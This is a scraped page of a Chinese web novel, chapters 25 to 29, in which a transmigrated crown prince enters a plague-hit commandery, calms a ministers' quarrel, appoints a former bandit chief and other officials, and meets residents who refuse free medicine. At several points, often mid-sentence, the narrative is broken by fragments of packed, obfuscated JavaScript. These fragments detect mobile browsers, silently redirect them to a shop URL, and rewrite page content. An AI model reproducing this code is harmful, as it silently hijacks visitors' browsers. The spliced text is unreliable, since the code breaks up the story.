0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971523|134765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直都是大雍边境上不容小觑的势力,为男主的统一大业,造就了诸多困难。 北方的戎狄目前距他遥远,尚不用考虑应对他的政策,而如今驻守雍州对抗戎狄的,正是姜泽的父亲,大雍的镇北大将军姜固。 如没记错的话,哪怕大雍灭亡,他也依旧为大雍镇守了北疆近二十载,直至老迈而亡,全了与大雍的忠贞之节,男主平定中原登基后,还对其多有追封。 看书的时候虞煜一直有一点想不通的地方,明明作为一个不受宠爱的太子,为什么皇帝为他选定的岳家,出来的却全是忠贞之辈;而身处此时的虞煜通过原主记忆的加持,明白了这个时代的臣子只分皇帝喜欢和不喜欢两种类型,和他们忠与不忠,毫不相干。 看书人见皇帝为太子择亲忠义之家,都以为这个爹没有一烂到底,还是对太子好的。 其实不然,这是皇帝上给太子的另一道枷锁。 因为忠义之家效忠的永远是大雍的皇帝陛下,从不会因与谁联姻而更改,太子只是得了一个空有名头却毫无助力的岳家。 帝王心思深沉,一腔心术全都用在了太子的身上。 好在姜家到底出了一个颇为敬重太子为人的姜泽,在太子被逐历州之时毅然相随,才让太子不至于无将可用,不然虞煜的开局,只会比此时更惨。 堂堂一国储君被压制至此,说起来也满是心酸。 但现在有姜固镇守北方,戎狄暂且不足为患。 但南边的百濮就不同了,它本就有多次侵扰锦州的先例,而今又生出了再度北上的心思,哪怕困于国内局势一直无法实现,但总归会来那么一遭的。 而锦州官员的自制程度,远比虞煜此前想的还要自由,冗官烂政不堪所用,这样一看军中的情况也不会太好,且无名将支撑。而今他想踞锦州为逐鹿的根据地,若不及早布局,只怕到时难以抵挡百濮的突袭。 看来入主锦州的计划,要快速推行了,不然时间拖得越久,局势就越发对他不利。 当下让巫蕤和乌金交流了制作治瘟药的所缺药材,得到乌金知其所在却量大管够的肯定答复之后,虞煜便乾纲独断定下入驻古渡郡的抉择,不再给予群臣任何反驳的机会。 定下决策后,虞煜当庭选臣点将,先令计枢、岑柘、乔嘉麟、裴安翊四人带三千精兵,以计枢为主,裴安翊为辅,先行进城收拢群匪,安抚百姓。 再令傅泓、晏俭臣、乌金三人携四千精兵,配合乌金在所说之地,寻找所需药材。 而余下之兵依旧由姜泽统帅,护持虞煜坐镇中军,并协助巫蕤全力开展配药工作,只待数量足够,就由虞煜亲自护送着前往古渡郡分发百姓,除却小部分留守锦州渡的将士,其余大军也随之进驻城内,不再留有锦州渡的中军大帐。 至此,虞煜思量多时的入驻古渡郡策略就这样全盘的铺开,因他不可动摇的态度和坚定的决心,群臣无法再行劝谏,只得按照他的分配尽皆领命离去,紧锣密鼓的执行起自己所辖任务,以图在虞煜规定的期限之内,完成计划而不生意外。 26. 第 26 章 曦光初照,尘土飞扬的古道之上,已有大队身着玄甲的士卒踏马而行,行伍之间,士卒尽皆以布巾遮面。 道路两旁皆是连绵起伏的青山,除了这一条古老崎岖的道路之外,再无其他可以供人行走之处。 行进之间,号角声声,绣着五爪金蟒的赤黄旗帜随风招展。 随军的辎乘满载着各种物资,车轮从古道上压辙而过,发出“吱呀”的声响。 虞煜骑在一匹白色的骏马之上,通身银色的铠甲在晨光中熠熠生辉,脸上以同色的布巾遮掩。 这是他自穿越以来,首次披盔戴甲,虽然在心中吐槽了无数次这万黑丛中一点白的配色,但此刻的他却别无选择,有些羡慕身后的姜泽。 玄甲银枪,一看就有大将风度。 “殿下,有何吩咐?” 觉察到他目光的姜泽以为他有什么指令要下达,策马上前,行至与他一米之隔的地方,低声询问。 “我们离古渡郡尚有多远?” 本来没有什么想要吩咐的虞煜看到姜泽已至身侧,本着来都来了的中心思想,询问了一下目的地的距离。 “殿下,大概还有十余里,行至道路尽头,便是古渡郡的城门了。” 也就是说自己刚走了一半,虞煜心中哀叹。 虽然有原主的肌肉记忆加持,但首次独骑行军还是让他颇不适应,他感觉全身都快被颠散架了。 做为一个在乱世求生的亡国太子,他决定安定下来后就将苦练骑术提上日程,不求可以做到万军丛中过片叶不沾身,也要把原主原本的骑术底子补回来,这可是实打实的保命技能。 在他前世的史书和演义中,多少英雄豪杰都是凭借着一身好骑术躲过了致命追击,如刘皇叔跃马过檀溪,孙十万的逍遥津上玉龙飞,都是靠实力活命,不丢人的。 知道了与目的地距离的虞煜不再说话,随着大军一路向前。 大军蜿蜒前行,脚下的道路逐渐收窄,最后两山相连,仅够一架辎乘通过,数千人的队伍就这样夹挤着行走在这条小道之上,所有人都神情紧绷,铁甲摩擦发出的铿锵声在这里显得格外突兀。 虞煜查看了一下周围的环境,也不由感叹此处的易守难攻,若此刻有人埋伏在路上方的山顶之上,那么无需其他武器,只需要些许的石头,都能让他们死伤惨重。 不由庆幸,还好他们不是强行突袭古渡郡,而是兵不刃血的入驻,不然就在这里,不知要折损多少人马。 穿过狭窄的小道,就来到了古渡郡的城楼之下,夹在两座山峰之间的城楼显得巍峨又破败,城墙上苔痕斑驳,悬挂着一幅怪异的符文,古铜色的城门紧闭,上面布满了凹凸不平的铆钉。 城楼之上隐约站着几人,却都离女墙远远的并不开门。 他们此前在锦州渡忙活数日,终于在赶在昨日配齐了送往古渡郡的治瘟药,虞煜已于昨夜派出一队斥候前来报信,而自己则在药物简单整理分装之后,方带着大军上路。 算算时间,古渡郡中应该接到大军即将到来的信息,为什么此刻的城门却依旧紧闭不开呢。 其中,是否出了什么变故? 有这样疑惑的不仅是虞煜,还有同行的群臣,姜泽更是直接命令大军结阵防御,将虞煜团团围护其中,绝不能让踞牢关前的失误再度重演。 可见那一役对他造成的阴影有多大。 但古渡郡的城楼虽地理优渥,却因年久失修,其防御力自是无法与踞牢关相提并论的,行过那一条狭窄小道之后更是一马平川,不像踞牢关前还有湍急的汜水做为阻隔。 以虞煜此刻的人马配置,在此处强攻夺城可谓不费吹灰之力。 打量间,虞煜已在心底规划好了古渡郡的城楼修复方案和周边配套的防御设施,只待瘟疫结束后就开展改造。 又一件等待提上日程的事情,他的日程还真是越来越满了,扒拉着属臣算了一下,目前的人手都不够分配,只期待留在城中的官员能多几个能用之人,才会让他显得不那捉襟见肘。 静思默想间,城内突然传来急促的马蹄声,似有大队人马向着城门疾驰而来。 紧接着,听到有人于其中下令,让人速开城门。 在城楼短暂的慌乱之后,随着沉闷的“嘎吱”声响起,古铜色的城门缓缓向内打开,露出了掩于其后的人马。 虽隔着布巾的遮挡,但虞煜还是一眼认出,一马当先独立在前的是此前带兵先行入驻郡中的裴安翊,他带着数百骑人马在此相迎。 除他之外却不见其余人的身影,就连计枢也不在此,倒是有一个颇觉陌生的壮士一直跟随在裴安翊左右。 虞煜不由好奇的多看了两眼,却发现对方也正瞪圆了眼睛在偷看于他,目光相触间,躲闪不及,铁塔般的汉子瞬间低垂了脑袋。 这个人…… 虞煜心中已有定论,粗看起来,倒是不坏的感觉。 此时前来迎驾的裴安翊已带领部众行至虞煜前方不远处,下马请罪。 “末将接驾来迟,还请殿下恕罪。” 虞煜并不会因此怪罪于他,神色温和的将他叫起。 从裴安翊的行色匆匆,虞煜已经确定城内必然是出了某种变故,计枢等人未至很大一部分可能也是正在处理这个变故,但身为武力担当的裴安翊能够出现在这里迎接他,就说明变故已经被处理得差不多了,其他人目前在做的应该也是收尾工作,只是一时无法脱身罢了。 既知事情已经解决,虞煜也不打算在城门外当着那么多士卒的面询问详情,以免一时不慎引起动荡,当即下令裴安翊带领他们前往郡中目前处事的府邸。 马蹄踏过城中主道铺设的石板,发出清脆的回响。 一路行来整个古渡郡空无一人,若非那些掩藏在窗牖之后的探究眼神,虞煜几乎要以为这是一座空城。 按捺下心底的疑惑,虞煜打算抵达府邸再细问城中的具体情况。 郡守府坐落于古渡郡城的正中央,此刻在空旷街道的映衬下显得分外威严,虽不说金碧辉煌,但也雕梁画柱,环绕周围的建筑也显得格外精致,和一路行来低矮破旧的民居对比鲜明。 朱红的大门洞开,虞煜提步进入府衙,随着他的进入,跟随而来的玄甲军就地列阵,将整个郡守府包围得水泄不通,以防有人趁机生事。 跨过高高的门槛,其后是以青石铺就一尘不染的宽敞庭院,精致的亭台楼阁和古朴幽静的假山相映成趣,不似府衙,倒像是某人的私家庭院。 虞煜眉头一扬,对着跟随在后的群臣冷笑道。 “看来这古渡郡的原郡守,是一个极会享受的人。” 觉察到虞煜心情不佳的群臣无人答话,反而是自见到虞煜就一直没能搭上话的铁塔汉子回应了他。 “可不是,我们刚来这里的时候都惊呆了,还以为误入了仙境,院中满挂的都是丝绸帷幔,是军师说太过奢华,将其扯下来分发给了 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最后还是裴安翊看不过去,代他回答了虞煜的询问。 “殿下,这位是打倒狗官寨的寨主韩破山。” 就连裴安翊在说到这个名字的时候,都有了片刻的迟疑,在场众人也是听得脸绿,不知道这寨名中定义的狗官范围是啥,总不能当官的都是吧,他们自认不是狗官的。 虞煜倒是觉得这个寨名很独特,很有故事感,成功的吸引了他的注意。 “怎么起了这么一个寨名,是有什么事情在里面吗?若有委屈,尽可说给孤听。” 虞煜本来只想吃个瓜,但没想到这样一句简单的问询会让眼前这个身高九尺的大汉嚎啕大哭,就…… 有点辣眼睛了。 韩破山哭着说了半天,才让虞煜听明白他们山寨中大多是一村之人,遭大族压迫被强占了田地,进城告官又被郡守杖责流放,侥幸逃脱后无处可去,又因早年听过几折戏,义愤之下就上山当了匪徒。 取寨名的时候遭遇选择困难,绿林中普遍的名字都是聚义寨、卧虎寨之类的,他们总觉得不太对味,但又因为没有什么文化起不出好听的名字,想到自己遭受狗官迫害,最后一拍即合就叫了打倒狗官寨。 虞煜听罢,表示这种官逼民反的故事还真是经久不衰,虽老套但永远不会缺席。 他看着仍未从委屈记忆中走出依旧在抽泣的韩破山,有些一言难尽的安慰道。 “壮士莫要伤心,待来日孤将郡守擒获,必将为你们村讨回公道。” “殿下,军师说的没错,您真是大好人呀。” 韩破山激动的扯住了虞煜的袖子,哭得更大声了。 被扯着袖子的虞煜也想喊军师救命,但可惜计枢并不在此,不然他一定会阻止韩破山的这个动作。 而跟随虞煜的群臣则是完全被韩破山这出其不意的一出震惊了,以至于一时都没有反应过来要去帮他们太子殿下拯救衣袖。 被人扯着衣袖痛哭的虞煜有些无奈,无比庆幸自己今日着的是甲胄,若是往日里的寻常衣裳,很容易被哭上头的人拿着撸鼻涕。 好在姜泽反应迅速,没多久就把他的衣袖抢救了过来,看着依旧哭得抽抽噎噎的韩破山,虞煜只得眼神示意裴安翊先将人带下去安抚,他今日要安排的事情还有很多,不能因为一个壮汉的哭泣就将时间耗费在这里。 27. 第 27 章 从这次接触,虞煜倒是看出韩破山是一个有着赤子之心的人,若其言可信,又没有做过大奸大恶之事的话,倒是可以考虑将他纳入麾下。 毕竟看他的身板就知道,不论武艺如何,都绝对是一个孔武有力的人。 他现在真的很缺武将。 看着韩破山被裴安翊带了下去,虞煜才轻舒了一口气。 虽然他也不知韩破山一个九尺大汉为什么这么能哭,但经此之事他表示对此人印象深刻,下来势必要找计枢好好谈谈。 不得不说,韩破山这也算曲线救国的成功典范了。 虽然暂时失去了裴安翊的指引,但是虞煜们还是很成功的找到了议事厅的所在之地,抵达坐定没多久后,就看到计枢等人穿过抄手游廊匆匆赶来。 计枢一路疾行走在了队伍的最前方,而裴安翊和之前哭得无法自拔的韩破山也夹杂在其间,看来两方是在半道上相遇了。 一进厅门,尚未及寒暄,就跪了一地的请罪,虞煜觉得自己的头有些大了,目前盘点家底没有多少,繁文缛节却是一套不落。 虞煜有心简化一些礼仪,但也知道人在时代下,不得不低头的道理。 这本就是一个刑不上大夫的时代,要是再没有了繁琐礼节对人性的束缚,还不知道会自由发展出什么样的结果。 因而在没有完全掌控权利的时候,对此就没有任何的发言权,再多的繁文缛节他也只得受着。 还好苦的是别人,不是自己。毕竟这天下间除了他死去的皇帝老爹,再没有任何人需要他行礼的了。 这样想着,整个人都开朗了许多。 言语温和的将请罪之人叫起入座,入驻古渡郡的第一次集议正式拉开了帷幕。 说是集议,其实就是计枢的个人工作汇报,虞煜偶尔询问,其他臣子在旁补充罢了。 而所有随着虞煜一同进城的人,在这场集议上都没有任何的发言权,因为他们才进城的他们并不清楚郡中当前的情况,只能通过计枢的讲述来自行推测。 计枢向虞煜汇报了近日古渡郡的各项事务,总而言之郡中目前的整体局势是比较好的,但郡中百姓因此前官员弃城而逃之事本就对官府多有憎恶,再加上后面遇到匪寨的援助,致使城中百姓出现了严重的信匪不信军的情况。 此前裴安翊的先行军进驻之时,城中的百姓就颇有怨言,害怕新到来的军队会在城中烧杀劫掠,让他们这群困于孤城的人再无活路,是韩破山出面担保,才让军队顺利进城,没有生出什么乱子。 听到这里,虞煜隐晦的看了裴安翊一眼,得到其肯定的眼神答复之后,知道计枢所言非虚。 他也知道百姓之所以会出现这样的担忧,并不是空穴来风,而是时下军队所经之处,其实和土匪劫掠也没什么区别,可谓兵匪一家。 在这里,很少有人会主动去约束士卒劫掠百姓之事,大多对此都是睁一只眼闭一只眼的态度,甚至有部分将领为了能让士卒更好的为自己拼命,会鼓动士卒参与劫掠,再把劫获的东西做为战利品赐给士卒,以此来获得军心。 诸如此类层出不穷,而百姓却只能自认倒霉。 只是让他没有想到的是,韩破山居然还有这种能力,不过短短月余的时间,就能在百姓中获得那么高的声望。 他一直以为在其中出谋划策的计枢才是百姓们心中的主心骨,没想到却错的离谱。 这样看来,韩破山不仅不是一个鱼肉百姓的人,反而百姓对他有着极高的信任度,也从侧面展示了他个人在百姓群体中的亲和力。 是时候考虑将他纳入麾下的事情了,到时就算没有将帅之能,也可以挂着名头安排他去做百姓的民心工作。 虞煜深知民心工作的重要性,毕竟都说得民心者的天下嘛。 他觉得韩破山虽然看起来五大三粗的,但说不定就很有这方面的工作天赋。 而眼睛依旧红肿的韩破山觉察到了虞煜看向他的眼神,神色骄傲的挺了挺胸膛,要不是看到自家军师在对面疯狂的使眼色,他甚至还想拍拍胸膛,让太子知道他是多么的威武雄壮,一看就是当猛将的料。 可惜骄傲的他不知道,虞煜正盘算着想要安排他去干文职工作呢。 小插曲过后,计枢的汇报工作持续进行,除了汇报古渡郡目前的情况之外,还向虞煜重点解释了他们今日未能到场接驾的缘由。 是因为有人蓄意放出城中山匪投靠了朝廷,只想拿百姓换功劳,而不会再管百姓死活的流言,挑动了百姓们本就因大军即将入驻而敏感脆弱的神经,致使患病百姓的居住之地产生了范围性的冲突,带动着未患病的人也开始了小面积骚乱。 他们急赤白脸的处理了一早上,直至骚乱逐渐平息,才惊觉太子可能已经抵达城外,只得让裴安翊带着韩破山前去迎驾请罪,而他们其他人则依旧处理骚乱余留的后续工作。 虞煜听罢他的描述,也没想到百姓会对官方如此的不信任,略微的言语挑动就会引起冲击事件,他本以为就算原来郡中的官员不靠谱,但原主的名声在民间是极为不错的,百姓应该会对他有一定的信任基础,看来是他高估了。 “你没有和百姓提及太子到此是坐镇治瘟的吗?” 卫衍对计枢的说法提出了质疑,哪怕太子对此并不在意,但做为太子殿下的民心缔造者,他很清楚自家殿下在民间的影响力,觉得百姓们根本不会因为太子的到来而产生抵触情绪。 计枢苦笑了一下,一时不知该怎么回复他的质疑。 群臣也听出了卫衍质疑之后的未尽之语,不外乎是在怀疑与计枢为伍的山匪为了脱匪入官而刻意挑起了这样的动乱,导演这一场戏以让太子殿下知道他们在古渡郡的能力,以此谋求谈判的好处。 群臣听罢思考,觉得卫衍会有这样的猜忌也不是完全没有理由,毕竟计枢本人虽被纳入太子麾下,但还未获得一官一职,偏偏他还一直在引荐自己的匪首给太子殿下,以期太子也将其纳入麾下。 凭借这点意图,竟让这个猜忌意外的站得住脚跟。 眼前群臣沉默不语,一直听从计枢安排不要随意发言的韩破山急了,跳起来为计枢大声驳斥。 “殿下,我们绿林中人虽出身不光彩,但最重义气二字,绝不会不顾百姓的生命来满足自己的私心,因是我们也是黔首,深知天下黎明的疾苦,我们和那些狗官可不一样!” 说着还狠狠的瞪了众属臣一眼,不顾计枢的阻止扔下狠话,继而扯着他就要离去。 “你们要是信不过我们就直说,我带着兄弟立马就走,也不和你们争着劳什子城的所有权。” 群臣被他扫视的一句狗官气了个倒仰,见他就要愤然离去也无人阻挡。 虞煜对飞速进展的事态也是瞠目结舌,正打算出言拦住他的时候,一直未有言语的傅泓突然开口。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003046|134765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “臣觉得计枢等人不会生出这样的心思,还望殿下慎裁。” 傅泓突然出声为计枢说话,不仅震惊了计枢本人,也让一直以为他并不喜欢计枢的群臣大吃一惊,然而随着傅泓的发言,其余与计枢一同先行来到古渡郡的臣子也开始为他辩解,就连一直与他不对付的乔嘉麟也出言说他不会做这种事情。 卫衍本来百姓因抵制太子入驻而产生骚乱不太合理,才出言质疑,他此前是和计枢认识的,也知道其为人纵然功利了些,但也绝对做不出这样的事情,想让计枢再解释一下其中的缘由,并没有想把事情推到这样的高度。 但群臣的接连发言让他一时骑虎难下,于是对将事情挑起了一个新高度的韩破山和傅泓极度愤慨,尤其是傅泓,怒极之下也有些口不择言。 “傅泓,你不要因为计枢是你的弟子,就在这里大拉偏架!” 计枢是傅泓的弟子!那怎么会在匪寨当军师? 此言一出,除了已知详情的虞煜和裴安翊,群臣陷入一片哗然,议论纷纷表示对此难以置信。 就连扯着计枢准备离去的韩破山也吃了一惊,扒拉着计枢问道。 “那看起来官很大的老头子是你老师?怎么没有听你和我们讲过!” 已经被傅泓清楚告知逐出门墙的计枢对此只能回以苦笑,不是他只会苦笑,而是除了这个表情,他找不到其他适合的回应方式。 自己与计枢早已结束的师生关系就这样被卫衍在众人面前点破,傅泓也是十分的生气,对着卫衍就是一阵怼。 “你别在这里顾左右而言他,且不说老夫已经将他逐出了门墙,就是你自己提出的质疑,你敢说没有私心,不过是想甩掉自己办事不力的名头罢了。” 卫衍被他的话气得脸都红了,卷起袖子就要上去干他,而傅泓也是一副有种你就来,来了我就揍的表情。 战事一触即发。 但虞煜怎么能让这两个老头子在这大庭广众之下因为误会打了起来,急忙示意与他们地位相当的姜泽上前拉架。 众臣这时也才反应过来,赶忙上前拉架。 毕竟这两位老臣加在一起都快一百二了,可别打出个好歹来,纷纷劝说同僚之间意见不统一很正常,千万不要因此伤了往日的情分。 虞煜听着他们劝起别人一套一套的,显然忘记了自己遇事也是这样的易燃易爆,不由眼角有些抽搐,但好在把两个老头子劝住了。 “你个小白莲给我等着!” 这是卫衍放出的最后一句狠话,就被姜泽捂着嘴按到座位上了,话中的目标人物自然是计枢。 “哈哈,这些官老爷开会也挺有意思的,和咱们寨中兄弟聚义一样热闹,拳打脚踢的,那老头子还夸你小白脸呢。” 土匪出身的韩破山哪想过群臣开会是这种画风,一时倍感亲切的哈哈大笑,还不望和身边的计枢分享观后感。 众臣看到自己被土匪出身的韩破山嘲笑,一时也全部噤了声,有些羞愤。 虞煜看着眼前的一团乱局,头疼无比,谁能告诉他,怎么讲得好好地,突然就打起来了,古人就这么没有纪律性吗? 他也没想到卫衍还能走在潮流的前线,对他曾经评价安存德有点白莲属性的话,也能活学活用到计枢的身上。 是该夸他人才呢还是怎么地? 看着明显会错意和不解其意的两人组,虞煜想仰天长叹。 28. 第 28 章 好不容易消停下来,看到两个老头子坐在各自座位上还不服气的用眼神在隔空对骂,虞煜第一次被这群超雄文臣气出了火星子。 好好的集议搞成现在这种局面,狠狠用手拍了下身前的桌案,发出的巨响让群臣心中一惊,纷纷跪地请罪。 正在哈哈大笑的韩破山也被吓得打了个嗝,有点不知所措的被计枢拉着跪了下去。 没有人注意他将用力拍桌而导致疼到发麻的手悄悄收回了衣袖,难怪电视剧里拍桌都要一个惊堂木,他今天总算知道是为啥了。 真的,太疼了! 有的人看起来面不改色,其实内心已经疼得跳脚。 “你们是把孤的集议当成什么了,上京的东西南北市吗?随着你们打打嚷嚷肆意妄为!” 看到素日温润的太子发了如此脾气,满地的群臣不敢辩驳,只得俯首称罪。 偏偏此时韩破山还不明所以,悄声询问跪在身侧的计枢。 “东西南北市是什么地方?” “闭——嘴!” 计枢看着由自己挑起的集议风波,跪着向前挪动了几步,主动向太子请罪是自己言语不祥,才导致了误会的发生。 发了一通脾气的虞煜怒气渐消,又听到韩破山的疑惑之语,感觉被当猴看了的虞煜正打算让群臣起来之时,就收到了计枢的主动请罪。 他自然知道计枢请罪的用意,但也明白今日的一切皆因误会而起,这误会并不关乎任何人的事,因为其中涉及的东西,有些臣子虽能看透,却不能言明。 轻轻叹息了一声,虞煜让请罪的众人起身入座,亲自接过了这个话头,同群臣分析这一情况出现的主要原因,不过是朝廷历来所用的治瘟之法造的孽罢了,正好结出的苦果让他赶上了。 朝廷所用的治瘟之法都是将一城一池完全围困防止瘟疫扩散,对被围困之地,期间除了进行埋尸,就不会采取任何的措施,防治到最后的结果可想而知,十室九空矣。 每一个在瘟疫中活下来的人,可以说全靠自己命硬。 从中就可以的得知疫城百姓在面对朝廷防治时是多为畏惧。 甚至可以说,没有朝廷防治的加入不一定会死,但朝廷一旦介入,疫城之人就很难活了。 前有山匪隔离而居,发放救济的珠玉在前,没有人还想回到朝廷的手中挣扎求生,因流言传播而出现骚乱,是情有可原的。 毕竟太子名声再好,不也还是朝廷的人吗? 百姓的想法其实很简单,只为活着二字。 但这话他能说,而群臣却不能,这也是计枢被卫衍问到后沉默的原因。 卫衍一直主管太子内务,对瘟疫防治之事并不太了解,也才因此产生了误会。 听罢虞煜的讲解,卫衍也意识到了今日之错大半在己,虽有些抹不开面子,还是起身向计枢和傅泓赔了礼。 计枢吓得慌忙回礼,傅泓却只是扭头冷哼了一声,但了解他脾性的人都知道他已不放在心上,众人见他二人解开嫌隙,也将悬着的心放回了肚里。 卫衍自是知道傅泓的一贯作态,也不放在心上,以他的身份其实很没有道歉的必要,但为了太子麾下的和睦,折算一点他的老脸也无所谓。 群臣重新落座,准备继续未完成的讨论。 “怎么就和好了,老头子的爱恨这么迅速吗?我还以为要打一架呢。” 看着眼前的情形韩破山挠头不解,依照往日他们寨中的情况,发生这种事怎么都要按着打一顿才解气,怎么官老爷鞠个躬就结束了。 看到韩破山又要挑起话题,坐在他对面的计枢恨不得飞身过来捂住他的嘴,好在其身侧的裴言翊反应迅速,侧身端起韩破山桌案上的杯盏递给他。 “韩寨主渴了吧,喝点茶。” “我不渴,再说这杯子里也没……” “我就说你渴了吧。” 裴安翊笑的一脸和善。 看着裴安翊的脸色,韩破山也终于意识到了哪里有些不对,默默的把未说出的最后两个字咽了回去,拿起送到手中的空杯盏喝了一口空气。 看着眼前的互动,虞煜暗自长叹,最近是有点太过劳累裴安翊了,小伙子这段时间过得不太平,等瘟疫解决了给他升个职吧。 还有手下的众臣,虽然他现在没有登基的打算,但不妨碍大雍只剩他一个独苗了,不登基,也能按照皇帝的标准给大臣们换换职位,他不信还有人会说什么。 此刻的虞煜并不知道他的倒霉弟弟晋王也在流亡之中。 他正在斟酌对韩破山职位的安排,觉得此前准备安排他去处理民心工作的决定太过武断,虽然韩破山很有民众亲和力,但脑子不太适合干这个,还是在姜泽手下先做副将看看能力如何吧。 至于计枢,他在来之前就已经安排好了他的去处。 原以为入驻古渡郡只需要解决瘟疫的问题,没想到朝廷在民众心中播下的瘟疫更为可怖。 他想要踞古渡而图锦州,再踞锦州而图天下,如若不拔除这些在人们心底肆意横生的瘟疫,那么就永远无法建立新的国度,因为已经死去了的大雍,依旧横亘在万民的心中,致使民心难安。 从一开始,他的理想就不是光复大雍那么简单,既然都已经以身入局了,何不做得更辉煌一点,例如在这黑暗的时代,为万民建立一个真正的理想国,就算比不上他的前世国度,但也要无限向其靠近。 这才是他逐鹿天下想要得到的东西。 但这都还是很遥远的梦想,需要一步一步去靠近。 而现下摆在他面前急需他去攻破的难题,就是在治好古渡郡明面的瘟疫同时,驱除深藏人心的瘟疫。 想要获得百姓的支持,没有任何的捷径可以走,唯有以真心换取真心,如若太过功利,反而落了下乘。 打定主意之后,他开始安排古渡郡治瘟的相关事宜。 第一步,就是要确定一个在他之下,可以总揽郡中事务的领导者。 他将目光投向了计枢,觉察到他的目光,对方似乎意识到了什么,但又怕是空欢喜一场,微微低头以示尊敬。 “计枢上前听封……” 好在这次虞煜并没有让他空欢喜,甚至没有按照常规的流程安排家令卫衍起草诏书再行宣读,而是虞煜本人自己口述,任命了计枢古渡郡郡守一职,并兼领太子宾客一职。 顷刻间,计枢便从山匪军师,摇身一变为虞煜文臣群体中的三号人物,仅在傅泓和卫衍之下,也众太子宾客中第一个获封实职的人。 重回官身的计枢感激涕零,叩首长跪,发誓绝不负虞煜所托。 其余太子宾客虽看得眼热,但也知道计枢的能力出众,又比他们更为了解古渡郡的情况,太子将他收入麾下之后迟迟不封,想必早已做好了这种打算。 虽有些不忿被后来者居上,但也知道随着太子地盘的扩张,实职也迟早会封到自己的头上,古渡郡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13016255|134765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过是锦州六郡之一罢了。 仅锦州一地,就还留有五郡等着他们三人分呢。 接着虞煜又点了乔嘉麟暂为古渡郡的郡丞,让他跟随计枢学习治民之道,什么时候出师了,就什么时候考虑让他独领一郡。 突然比其他太子宾客挨了半个头的乔嘉麟本有些不乐意,只是看到太子对自己满含期待的目光,鬼使神差的就点头答应了。 其实一路行来他也有了自己的计较,知道比起其他人而言自己是弱了许多,能得到太子宾客一职,全靠家族势大罢了,而今乱世各奔前程,他也占不到家族的荣光了,只能靠自身的本领谋生。 而且他虽然最初对计枢颇有言辞,但最近一同协理古渡郡之事后也知道他是一个有着大本事的人,太子既然命令自己跟他学习,说明在未来还是要对自己委以重用的,他只待学成之后身居要职,就能在殿下重回中原之时亮瞎以前那些看不起他的人的眼睛。 这种感觉想想都觉得美妙,乔嘉麟真心实意的领旨谢恩。 而意外被虞煜坑了一脸血的计枢就有些无语凝噎了,但太子既然将乔麟加到了他的手上锻炼,最后怎么也是要有点成果的,这样想着,计枢已经在心底暗自规划乔嘉麟的培训计划了。 虞煜看着自己的一道命令就让两个人同时燃起了熊熊斗志,不由有些志满意得,后世的画大饼之法果然厉害,这里淳朴的人民,哪里见过这种操作,达成既定目的,不过洒洒水。 但他和后世那些画大饼只为开空头支票的人不一样,只要达到他所说的目标,那么他必然会实现自己所有的承诺。 毕竟君无戏言嘛。 至于剩下的两位太子宾客岑柘和白乐为,虞煜自然也不会忘记,但这两人他在后期留有大用,就不在此次封秩之列,和他们讲明原因之后,又遭受了一波感激涕零。 尤其是白乐为,他不是正统的文臣世家出身,在太子麾下犹如一个透明人的存在,没想到太子居然还能想到他,感激之情难以言表。 看着乔嘉麟欢欢喜喜的退下,他又让巫蕤和乌金上前听封,封了巫蕤为太医令,乌金为太医丞,协助计枢总领治瘟事宜。 这两个职位都是虞煜根据他前世的历史官职新置的,因为此时的大雍还没有医和药的说法,详细和二人讲解了职务的具体内容后,两人也很欢喜退下。 巫蕤本以为以自己的巫者的身份,此生都没有称臣的可能,没想到虞煜会特意新置职位,让他一下子就成了天下间身份最高的医者,虽然目前只在古渡郡中有效,但他依旧十分高兴。 乌金也很开心,自家传承三代无人赏识的识药技能,终于得遇明主,他有预感,他们乌家自他开始,将有腾飞的可能。 最后,虞煜还封了韩破山为姜泽麾下的偏将军,虽然只是第五品的官职,但还是让他完成了由匪到官的阶级转变,同时让他带领手下匪徒,并入玄甲军中一同训练。 终于获得封赏的韩破山很兴奋,从现在起他也是能被称为将军的人了,至于品级他不在乎,因为他知道太子的目的是逐鹿天下,只要是有真本事在手,武将在未来是不愁封赏的。 一场封秩下来,可谓皆大欢喜,整个郡守府的议事厅中,干劲满满。 多年后,群臣再回顾这一幕时,恨不得上去两耳光打醒当时欣喜的自己,你怎么敢拿虞煜这个黑心肠的高官厚禄呀,那是高官厚禄吗?那是骡子带上了就摘不下来嚼子,是一辈子劳碌命的开端! 29. 第 29 章 虞煜本以为凭借自己多年基层工作的经验,再加上药物的支持,对于古渡郡瘟疫的防治事宜不说手到擒来,也可以稳步推进的。 但万万没想到,摩拳擦掌的瘟疫防治工作,在派药的第一步就遭遇了滑铁卢。 派药的工作早已做好安排,本来只打算前往病患居住地进行派药,但在听取了虞煜所说的预防和治疗一样重要的观点之后,巫蕤对目前的治瘟药方斟酌调整后,又弄出了一份药效略微的预防药,增加了前往未患病百姓居住地的派药工作。 但当负责派送药物的官员携带士卒将熬制好的药汤送至居住地时,遭遇了全体百姓的沉默抵制,每户人都紧闭门户躲在窗户后面窥探,却没有一个人愿意出来接受官府免费派送的药汤,持续数日,都是如此。 